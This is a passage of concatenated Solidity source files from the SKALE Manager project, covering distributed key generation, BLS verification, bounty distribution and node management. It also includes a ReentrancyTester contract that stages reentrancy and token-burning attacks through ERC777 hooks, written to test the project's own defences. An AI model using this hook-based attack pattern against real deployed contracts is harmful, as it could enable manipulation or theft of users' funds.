=> mapping(uint => bytes32)) storage hashedData ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); uint index = _preResponseCheck( schainId, fromNodeIndex, verificationVector, verificationVectorMult, secretKeyContribution, skaleDKG, complaints, hashedData ); _processPreResponse(secretKeyContribution[index].share, schainId, verificationVectorMult, complaints); } function _preResponseCheck( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, SkaleDKG.KeyShare[] memory secretKeyContribution, SkaleDKG skaleDKG, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) private view returns (uint index) { (uint indexOnSchain, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, fromNodeIndex, true); require(complaints[schainId].nodeToComplaint == fromNodeIndex, "Not this Node"); require(!complaints[schainId].isResponse, "Already submitted pre response data"); require( hashedData[schainId][indexOnSchain] == skaleDKG.hashData(secretKeyContribution, verificationVector), "Broadcasted Data is not correct" ); require( verificationVector.length == verificationVectorMult.length, "Incorrect length of multiplied verification vector" ); (index, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, complaints[schainId].fromNodeToComplaint, true); require( _checkCorrectVectorMultiplication(index, verificationVector, verificationVectorMult), "Multiplied verification vector is incorrect" ); } function _processPreResponse( bytes32 share, bytes32 schainId, G2Operations.G2Point[] memory verificationVectorMult, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) private { complaints[schainId].keyShare = share; complaints[schainId].sumOfVerVec = _calculateSum(verificationVectorMult); complaints[schainId].isResponse = true; } function _calculateSum(G2Operations.G2Point[] memory verificationVectorMult) private view returns (G2Operations.G2Point memory) { G2Operations.G2Point memory value = G2Operations.getG2Zero(); for (uint i = 0; i < verificationVectorMult.length; i++) { value = value.addG2(verificationVectorMult[i]); } return value; } function _checkCorrectVectorMultiplication( uint indexOnSchain, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult ) private view returns (bool) { Fp2Operations.Fp2Point memory value = G1Operations.getG1Generator(); Fp2Operations.Fp2Point memory tmp = G1Operations.getG1Generator(); for (uint i = 0; i < verificationVector.length; i++) { (tmp.a, tmp.b) = Precompiled.bn256ScalarMul(value.a, value.b, indexOnSchain.add(1) ** i); if (!_checkPairing(tmp, verificationVector[i], verificationVectorMult[i])) { return false; } } return true; } function _checkPairing( Fp2Operations.Fp2Point memory g1Mul, G2Operations.G2Point memory verificationVector, G2Operations.G2Point memory verificationVectorMult ) private view returns (bool) { require(G1Operations.checkRange(g1Mul), "g1Mul is not valid"); g1Mul.b = G1Operations.negate(g1Mul.b); Fp2Operations.Fp2Point memory one = G1Operations.getG1Generator(); return Precompiled.bn256Pairing( one.a, one.b, verificationVectorMult.x.b, verificationVectorMult.x.a, verificationVectorMult.y.b, verificationVectorMult.y.a, g1Mul.a, g1Mul.b, verificationVector.x.b, verificationVector.x.a, verificationVector.y.b, verificationVector.y.a ); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgResponse.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../Wallets.sol"; import "../Decryption.sol"; import "../Nodes.sol"; import "../thirdparty/ECDH.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgResponse * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgResponse { using G2Operations for G2Operations.G2Point; function response( bytes32 schainId, uint fromNodeIndex, uint secretNumber, G2Operations.G2Point memory multipliedShare, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { uint index = SchainsInternal(contractManager.getContract("SchainsInternal")) .getNodeIndexInGroup(schainId, fromNodeIndex); require(index < channels[schainId].n, "Node is not in this group"); require(complaints[schainId].nodeToComplaint == fromNodeIndex, "Not this Node"); require(complaints[schainId].isResponse, "Have not submitted pre-response data"); uint badNode = _verifyDataAndSlash( schainId, secretNumber, multipliedShare, contractManager, complaints ); SkaleDKG(contractManager.getContract("SkaleDKG")).setBadNode(schainId, badNode); } function _verifyDataAndSlash( bytes32 schainId, uint secretNumber, G2Operations.G2Point memory multipliedShare, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) private returns (uint badNode) { bytes32[2] memory publicKey = Nodes(contractManager.getContract("Nodes")).getNodePublicKey( complaints[schainId].fromNodeToComplaint ); uint256 pkX = uint(publicKey[0]); (pkX, ) = ECDH(contractManager.getContract("ECDH")).deriveKey(secretNumber, pkX, uint(publicKey[1])); bytes32 key = bytes32(pkX); // Decrypt secret key contribution uint secret = Decryption(contractManager.getContract("Decryption")).decrypt( complaints[schainId].keyShare, sha256(abi.encodePacked(key)) ); badNode = ( _checkCorrectMultipliedShare(multipliedShare, secret) && multipliedShare.isEqual(complaints[schainId].sumOfVerVec) ? complaints[schainId].fromNodeToComplaint : complaints[schainId].nodeToComplaint ); SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, badNode); } function _checkCorrectMultipliedShare( G2Operations.G2Point memory multipliedShare, uint secret ) private view returns (bool) { if (!multipliedShare.isG2()) { return false; } G2Operations.G2Point memory tmp = multipliedShare; Fp2Operations.Fp2Point memory g1 = G1Operations.getG1Generator(); Fp2Operations.Fp2Point memory share = Fp2Operations.Fp2Point({ a: 0, b: 0 }); (share.a, share.b) = Precompiled.bn256ScalarMul(g1.a, g1.b, secret); require(G1Operations.checkRange(share), "share is not valid"); share.b = G1Operations.negate(share.b); require(G1Operations.isG1(share), "mulShare not in G1"); G2Operations.G2Point memory g2 = G2Operations.getG2Generator(); return Precompiled.bn256Pairing( share.a, share.b, g2.x.b, g2.x.a, g2.y.b, g2.y.a, g1.a, g1.b, tmp.x.b, tmp.x.a, tmp.y.b, tmp.y.a); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleVerifier.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; /** * @title SkaleVerifier * @dev Contains verify function to perform BLS signature verification. */ contract SkaleVerifier is Permissions { using Fp2Operations for Fp2Operations.Fp2Point; /** * @dev Verifies a BLS signature. * * Requirements: * * - Signature is in G1. * - Hash is in G1. * - G2.one in G2. * - Public Key in G2. */ function verify( Fp2Operations.Fp2Point calldata signature, bytes32 hash, uint counter, uint hashA, uint hashB, G2Operations.G2Point calldata publicKey ) external view returns (bool) { require(G1Operations.checkRange(signature), "Signature is not valid"); if (!_checkHashToGroupWithHelper( hash, counter, hashA, hashB ) ) { return false; } uint newSignB = G1Operations.negate(signature.b); require(G1Operations.isG1Point(signature.a, newSignB), "Sign not in G1"); require(G1Operations.isG1Point(hashA, hashB), "Hash not in G1"); G2Operations.G2Point memory g2 = G2Operations.getG2Generator(); require( G2Operations.isG2(publicKey), "Public Key not in G2" ); return Precompiled.bn256Pairing( signature.a, newSignB, g2.x.b, g2.x.a, g2.y.b, g2.y.a, hashA, hashB, publicKey.x.b, publicKey.x.a, publicKey.y.b, publicKey.y.a ); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } function _checkHashToGroupWithHelper( bytes32 hash, uint counter, uint hashA, uint hashB ) private pure returns (bool) { if (counter > 100) { return false; } uint xCoord = uint(hash) % Fp2Operations.P; xCoord = (xCoord.add(counter)) % Fp2Operations.P; uint ySquared = addmod( mulmod(mulmod(xCoord, xCoord, Fp2Operations.P), xCoord, Fp2Operations.P), 3, Fp2Operations.P ); if (hashB < Fp2Operations.P.div(2) || mulmod(hashB, hashB, Fp2Operations.P) != ySquared || xCoord != hashA) { return false; } return true; } } // SPDX-License-Identifier: AGPL-3.0-only /* Decryption.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @title Decryption * @dev This contract performs encryption and decryption functions. * Decrypt is used by SkaleDKG contract to decrypt secret key contribution to * validate complaints during the DKG procedure. */ contract Decryption { /** * @dev Returns an encrypted text given a secret and a key. */ function encrypt(uint256 secretNumber, bytes32 key) external pure returns (bytes32 ciphertext) { return bytes32(secretNumber) ^ key; } /** * @dev Returns a secret given an encrypted text and a key. */ function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256 secretNumber) { return uint256(ciphertext ^ key); } } // SPDX-License-Identifier: AGPL-3.0-only /* PartialDifferencesTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../delegation/PartialDifferences.sol"; contract PartialDifferencesTester { using PartialDifferences for PartialDifferences.Sequence; using PartialDifferences for PartialDifferences.Value; using SafeMath for uint; PartialDifferences.Sequence[] private _sequences; // PartialDifferences.Value[] private _values; function createSequence() external { _sequences.push(PartialDifferences.Sequence({firstUnprocessedMonth: 0, lastChangedMonth: 0})); } function addToSequence(uint sequence, uint diff, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); _sequences[sequence].addToSequence(diff, month); } function subtractFromSequence(uint sequence, uint diff, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); _sequences[sequence].subtractFromSequence(diff, month); } function getAndUpdateSequenceItem(uint sequence, uint month) external returns (uint) { require(sequence < _sequences.length, "Sequence does not exist"); return _sequences[sequence].getAndUpdateValueInSequence(month); } function reduceSequence( uint sequence, uint a, uint b, uint month) external { require(sequence < _sequences.length, "Sequence does not exist"); FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(a, b); return _sequences[sequence].reduceSequence(reducingCoefficient, month); } function latestSequence() external view returns (uint id) { require(_sequences.length > 0, "There are no _sequences"); return _sequences.length.sub(1); } } // SPDX-License-Identifier: AGPL-3.0-only /* ReentrancyTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../Permissions.sol"; import "../delegation/DelegationController.sol"; contract ReentrancyTester is Permissions, IERC777Recipient, IERC777Sender { IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bool private _reentrancyCheck = false; bool private _burningAttack = false; uint private _amount = 0; constructor (address contractManagerAddress) public { Permissions.initialize(contractManagerAddress); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this)); } function tokensReceived( address /* operator */, address /* from */, address /* to */, uint256 amount, bytes calldata /* userData */, bytes calldata /* operatorData */ ) external override { if (_reentrancyCheck) { IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); require( skaleToken.transfer(contractManager.getContract("SkaleToken"), amount), "Transfer is not successful"); } } function tokensToSend( address, // operator address, // from address, // to uint256, // amount bytes calldata, // userData bytes calldata // operatorData ) external override { if (_burningAttack) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); delegationController.delegate( 1, _amount, 2, "D2 is even"); } } function prepareToReentracyCheck() external { _reentrancyCheck = true; } function prepareToBurningAttack() external { _burningAttack = true; } function burningAttack() external { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); _amount = skaleToken.balanceOf(address(this)); skaleToken.burn(_amount, ""); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "./delegation/Distributor.sol"; import "./delegation/ValidatorService.sol"; import "./interfaces/IMintableToken.sol"; import "./BountyV2.sol"; import "./ConstantsHolder.sol"; import "./NodeRotation.sol"; import "./Permissions.sol"; import "./Schains.sol"; import "./Wallets.sol"; /** * @title SkaleManager * @dev Contract contains functions for node registration and exit, bounty * management, and monitoring verdicts. */ contract SkaleManager is IERC777Recipient, Permissions { IERC1820Registry private _erc1820; bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE"); string public version; /** * @dev Emitted when bounty is received. */ event BountyReceived( uint indexed nodeIndex, address owner, uint averageDowntime, uint averageLatency, uint bounty, uint previousBlockEvent, uint time, uint gasSpend ); function tokensReceived( address, // operator address from, address to, uint256 value, bytes calldata userData, bytes calldata // operator data ) external override allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); if (userData.length > 0) { Schains schains = Schains( contractManager.getContract("Schains")); schains.addSchain(from, value, userData); } } function createNode( uint16 port, uint16 nonce, bytes4 ip, bytes4 publicIp, bytes32[2] calldata publicKey, string calldata name, string calldata domainName ) external { Nodes nodes = Nodes(contractManager.getContract("Nodes")); // validators checks inside checkPossibilityCreatingNode nodes.checkPossibilityCreatingNode(msg.sender); Nodes.NodeCreationParams memory params = Nodes.NodeCreationParams({ name: name, ip: ip, publicIp: publicIp, port: port, publicKey: publicKey, nonce: nonce, domainName: domainName }); nodes.createNode(msg.sender, params); } function nodeExit(uint nodeIndex) external { uint gasTotal = gasleft(); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint validatorId = nodes.getValidatorId(nodeIndex); bool permitted = (_isOwner() || nodes.isNodeExist(msg.sender, nodeIndex)); if (!permitted && validatorService.validatorAddressExists(msg.sender)) { permitted = validatorService.getValidatorId(msg.sender) == validatorId; } require(permitted, "Sender is not permitted to call this function"); nodeRotation.freezeSchains(nodeIndex); if (nodes.isNodeActive(nodeIndex)) { require(nodes.initExit(nodeIndex), "Initialization of node exit is failed"); } require(nodes.isNodeLeaving(nodeIndex), "Node should be Leaving"); (bool completed, bool isSchains) = nodeRotation.exitFromSchain(nodeIndex); if (completed) { SchainsInternal( contractManager.getContract("SchainsInternal") ).removeNodeFromAllExceptionSchains(nodeIndex); require(nodes.completeExit(nodeIndex), "Finishing of node exit is failed"); nodes.changeNodeFinishTime( nodeIndex, now.add( isSchains ? ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() : 0 ) ); nodes.deleteNodeForValidator(validatorId, nodeIndex); } _refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft()); } function deleteSchain(string calldata name) external { Schains schains = Schains(contractManager.getContract("Schains")); // schain owner checks inside deleteSchain schains.deleteSchain(msg.sender, name); } function deleteSchainByRoot(string calldata name) external onlyAdmin { Schains schains = Schains(contractManager.getContract("Schains")); schains.deleteSchainByRoot(name); } function getBounty(uint nodeIndex) external { uint gasTotal = gasleft(); Nodes nodes = Nodes(contractManager.getContract("Nodes")); require(nodes.isNodeExist(msg.sender, nodeIndex), "Node does not exist for Message sender"); require(nodes.isTimeForReward(nodeIndex), "Not time for bounty"); require(!nodes.isNodeLeft(nodeIndex), "The node must not be in Left state"); BountyV2 bountyContract = BountyV2(contractManager.getContract("Bounty")); uint bounty = bountyContract.calculateBounty(nodeIndex); nodes.changeNodeLastRewardDate(nodeIndex); uint validatorId = nodes.getValidatorId(nodeIndex); if (bounty > 0) { _payBounty(bounty, validatorId); } emit BountyReceived( nodeIndex, msg.sender, 0, 0, bounty, uint(-1), block.timestamp, gasleft()); _refundGasByValidator(validatorId, msg.sender, gasTotal - gasleft()); } function setVersion(string calldata newVersion) external onlyOwner { version = newVersion; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function _payBounty(uint bounty, uint validatorId) private returns (bool) { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); Distributor distributor = Distributor(contractManager.getContract("Distributor")); require( IMintableToken(address(skaleToken)).mint(address(distributor), bounty, abi.encode(validatorId), ""), "Token was not minted" ); } function _refundGasByValidator(uint validatorId, address payable spender, uint spentGas) private { uint gasCostOfRefundGasByValidator = 29000; Wallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidator(validatorId, spender, spentGas + gasCostOfRefundGasByValidator); } } // SPDX-License-Identifier: AGPL-3.0-only /* Distributor.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "../Permissions.sol"; import "../ConstantsHolder.sol"; import "../utils/MathUtils.sol"; import "./ValidatorService.sol"; import "./DelegationController.sol"; import "./DelegationPeriodManager.sol"; import "./TimeHelpers.sol"; /** * @title Distributor * @dev This contract handles all distribution functions of bounty and fee * payments. */ contract Distributor is Permissions, IERC777Recipient { using MathUtils for uint; /** * @dev Emitted when bounty is withdrawn. */ event WithdrawBounty( address holder, uint validatorId, address destination, uint amount ); /** * @dev Emitted when a validator fee is withdrawn. */ event WithdrawFee( uint validatorId, address destination, uint amount ); /** * @dev Emitted when bounty is distributed. */ event BountyWasPaid( uint validatorId, uint amount ); IERC1820Registry private _erc1820; // validatorId => month => token mapping (uint => mapping (uint => uint)) private _bountyPaid; // validatorId => month => token mapping (uint => mapping (uint => uint)) private _feePaid; // holder => validatorId => month mapping (address => mapping (uint => uint)) private _firstUnwithdrawnMonth; // validatorId => month mapping (uint => uint) private _firstUnwithdrawnMonthForValidator; /** * @dev Return and update the amount of earned bounty from a validator. */ function getAndUpdateEarnedBountyAmount(uint validatorId) external returns (uint earned, uint endMonth) { return getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId); } /** * @dev Allows msg.sender to withdraw earned bounty. Bounties are locked * until launchTimestamp and BOUNTY_LOCKUP_MONTHS have both passed. * * Emits a {WithdrawBounty} event. * * Requirements: * * - Bounty must be unlocked. */ function withdrawBounty(uint validatorId, address to) external { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now >= timeHelpers.addMonths( constantsHolder.launchTimestamp(), constantsHolder.BOUNTY_LOCKUP_MONTHS() ), "Bounty is locked"); uint bounty; uint endMonth; (bounty, endMonth) = getAndUpdateEarnedBountyAmountOf(msg.sender, validatorId); _firstUnwithdrawnMonth[msg.sender][validatorId] = endMonth; IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); require(skaleToken.transfer(to, bounty), "Failed to transfer tokens"); emit WithdrawBounty( msg.sender, validatorId, to, bounty ); } /** * @dev Allows `msg.sender` to withdraw earned validator fees. Fees are * locked until launchTimestamp and BOUNTY_LOCKUP_MONTHS both have passed. * * Emits a {WithdrawFee} event. * * Requirements: * * - Fee must be unlocked. */ function withdrawFee(address to) external { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now >= timeHelpers.addMonths( constantsHolder.launchTimestamp(), constantsHolder.BOUNTY_LOCKUP_MONTHS() ), "Fee is locked"); // check Validator Exist inside getValidatorId uint validatorId = validatorService.getValidatorId(msg.sender); uint fee; uint endMonth; (fee, endMonth) = getEarnedFeeAmountOf(validatorId); _firstUnwithdrawnMonthForValidator[validatorId] = endMonth; require(skaleToken.transfer(to, fee), "Failed to transfer tokens"); emit WithdrawFee( validatorId, to, fee ); } function tokensReceived( address, address, address to, uint256 amount, bytes calldata userData, bytes calldata ) external override allow("SkaleToken") { require(to == address(this), "Receiver is incorrect"); require(userData.length == 32, "Data length is incorrect"); uint validatorId = abi.decode(userData, (uint)); _distributeBounty(amount, validatorId); } /** * @dev Return the amount of earned validator fees of `msg.sender`. */ function getEarnedFeeAmount() external view returns (uint earned, uint endMonth) { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); return getEarnedFeeAmountOf(validatorService.getValidatorId(msg.sender)); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } /** * @dev Return and update the amount of earned bounties. */ function getAndUpdateEarnedBountyAmountOf(address wallet, uint validatorId) public returns (uint earned, uint endMonth) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); uint currentMonth = timeHelpers.getCurrentMonth(); uint startMonth = _firstUnwithdrawnMonth[wallet][validatorId]; if (startMonth == 0) { startMonth = delegationController.getFirstDelegationMonth(wallet, validatorId); if (startMonth == 0) { return (0, 0); } } earned = 0; endMonth = currentMonth; if (endMonth > startMonth.add(12)) { endMonth = startMonth.add(12); } for (uint i = startMonth; i < endMonth; ++i) { uint effectiveDelegatedToValidator = delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, i); if (effectiveDelegatedToValidator.muchGreater(0)) { earned = earned.add( _bountyPaid[validatorId][i].mul( delegationController.getAndUpdateEffectiveDelegatedByHolderToValidator(wallet, validatorId, i)) .div(effectiveDelegatedToValidator) ); } } } /** * @dev Return the amount of earned fees by validator ID. */ function getEarnedFeeAmountOf(uint validatorId) public view returns (uint earned, uint endMonth) { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); uint currentMonth = timeHelpers.getCurrentMonth(); uint startMonth = _firstUnwithdrawnMonthForValidator[validatorId]; if (startMonth == 0) { return (0, 0); } earned = 0; endMonth = currentMonth; if (endMonth > startMonth.add(12)) { endMonth = startMonth.add(12); } for (uint i = startMonth; i < endMonth; ++i) { earned = earned.add(_feePaid[validatorId][i]); } } // private /** * @dev Distributes bounties to delegators. * * Emits a {BountyWasPaid} event. */ function _distributeBounty(uint amount, uint validatorId) private { TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint currentMonth = timeHelpers.getCurrentMonth(); uint feeRate = validatorService.getValidator(validatorId).feeRate; uint fee = amount.mul(feeRate).div(1000); uint bounty = amount.sub(fee); _bountyPaid[validatorId][currentMonth] = _bountyPaid[validatorId][currentMonth].add(bounty); _feePaid[validatorId][currentMonth] = _feePaid[validatorId][currentMonth].add(fee); if (_firstUnwithdrawnMonthForValidator[validatorId] == 0) { _firstUnwithdrawnMonthForValidator[validatorId] = currentMonth; } emit BountyWasPaid(validatorId, amount); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDKGTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; contract SkaleDKGTester is SkaleDKG { function setSuccessfulDKGPublic(bytes32 schainId) external { lastSuccesfulDKG[schainId] = now; channels[schainId].active = false; KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainId); emit SuccessfulDKG(schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* NodesTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../Nodes.sol"; contract NodesTester is Nodes { function removeNodeFromSpaceToNodes(uint nodeIndex) external { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromSpaceToNodes(nodeIndex, space); } function removeNodesFromPlace(uint place, uint nodesAmount) external { SegmentTree.Tree storage tree = _getNodesAmountBySpace(); tree.removeFromPlace(place, nodesAmount); } function amountOfNodesFromPlaceInTree(uint place) external view returns (uint) { SegmentTree.Tree storage tree = _getNodesAmountBySpace(); return tree.sumFromPlaceToLast(place); } } // SPDX-License-Identifier: AGPL-3.0-only /* Pricing.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./Nodes.sol"; /** * 